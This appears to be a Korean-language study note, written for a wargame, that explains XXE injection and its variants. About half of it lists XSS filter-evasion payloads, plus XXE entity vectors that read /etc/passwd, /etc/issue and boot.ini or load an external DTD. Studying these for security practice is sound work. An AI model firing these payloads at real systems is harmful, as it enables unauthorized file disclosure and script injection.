이 글은 XXE 기법을 사용한 워게임 문제를 해결하기 위해 정리한 글로
여러 정리된 References를 참고하여 작성한 글입니다.
XXE (XML External Entity) Injection 이란 무엇인가?
먼저 XXE에서 XML은 html과 비슷한 구조를 하고 있으나 정보전달을 목적으로
만들어진 언어로 데이터 저장과 전달, 데이터의 구조를 기술하는 언어이다.
이러한 XML을 파싱(Parsing)하여 사용되는 서비스에 악의적인 XML 구문을
공격자가 삽입 및 파싱하여 공격자의 의도대로 수행되게 하는 공격을 XXE Injection 이라한다.
다음으로 XXE에서 Entity는 XML에서 사용되는 구조로 반복적으로 나오는 문장이나 문자열을
다른곳에 저장해 놓고 참조하여 재사용하는 개체인데 XML을 물리적으로 구조화 하기 위해 사용된다.
XML에서 사용되는 Entity는 5개로 아래와 같으며

이러한 5가지를 이용한 선언 형태는 다음과 같다

XXE는 이러한 일반적인 구조의 XML에서 공격코드를 주입해
접근이 안되는 파일에 접근하는 (LFI)공격이나 악의적인 파일참조를 하는(RFI)공격
XML파서 구문을 해석하지 않게 하여 실행하는 XSS공격방식
하나의 Entity에 다른 Entity를 계속 참조해 부하를 일으키는 DoS공격등이 있다.
XXE의 XSS payload
XXE에서 XSS공격 payload는 아래와 같은 구문이 존재하고
xss_test
'"><svg onload=alert(1)>
'"><svg onload=alert(2)>
'"><svg onload=alert(3)>
'"><svg onload=alert(4)>
<!--'"><-->svg onload=alert(5)<!-->-->
<!--'"><-->svg onload=alert(6)>
<!--'"><svg onload=alert(7)>-->
<![CDATA["'><]]>svg onload=alert(8)>
<![CDATA["'><]]>svg onload=alert(9)<![CDATA[>]]>
'"><svg onload=alert(10)>
'"><svg onload=alert(11)>
'"><svg onload=alert(12)>
'"><svg onload=alert(13)>
'"><svg onload=alert(14)>
'"><svg onload=alert(15)>
'"><svg onload=alert(16)>
'"><svg onload=alert(17)>
%27%22%3E%3Csvg onload=alert(18)%3E
%27%22>%3Csvg%20onload%3Dalert(19)>
%27%22>%3Csvg onload=alert(20)>
%27%22%3E%3Csvg%20onload%3Dalert(21)%3E
%27%22%3E%3Csvg%20onload%3Dalert(22)>
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(23);<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
<![CDATA[<IMG SRC=x on]]><![CDATA[load=alert(24);">]]>
javascript:alert(25)
java%0ascript:alert(26)
java%09script:alert(27)
java%0dscript:alert(28)
java%0a%0dscript:alert(29)
java%0d%0ascript:alert(30)
\j\av\a\s\cr\i\pt\:\a\l\ert\(31\)
javascript://%0Aalert(32)
javascript://anything%0D%0A%0D%0Awindow.alert(33)
javascript:alert(34);
javascript:alert(35);
%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
XXE payload
XXE 중에서 file접근등의 payload는 아래와 같다
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_test \"XXE_STRING\">]>","reference":""}
{"vector":"<!DOCTYPE docem [<!ENTITY xxe_canary_0 \"XXE_STRING\">]>","reference":"&xxe_canary_0;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_2 SYSTEM \"file:///etc/lsb-release\">]>","reference":"&xxe_canary_2;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_3 SYSTEM \"file:///etc/passwd\">]>","reference":"&xxe_canary_3;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_4 SYSTEM \"file:///c:/boot.ini\">]>","reference":"&xxe_canary_4;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY xxe_canary_5 SYSTEM \"file:///etc/issue\">]>","reference":"&xxe_canary_5;"}
{"vector":"<!DOCTYPE docem [<!ELEMENT docem ANY ><!ENTITY % xxe_canary_6 SYSTEM \"file:///etc/issue\"><!ENTITY % dtd SYSTEM \"custom_domain\">%dtd;%trick;]> ]>","reference":""}
더 자세하고 많은 여러payload의 대한 것은 아래 References에 첨부해 두었다.
작성자는 XML에 대한 이해도와 XXE에 대한 큰 틀만 이해한 상태로 글을 작성한 것이라 많이 부족하다.
더 자세히 공부한 이후 추가로 빠진 내용들을 작성하도록 하겠다.
References
1. https://www.hahwul.com/2019/09/28/oxml-xxe-payload-inject-tool-docem/
2. https://portswigger.net/web-security/xxe
3. https://www.hahwul.com/cullinan/xxe/
4. https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=koromoon&logNo=120208853424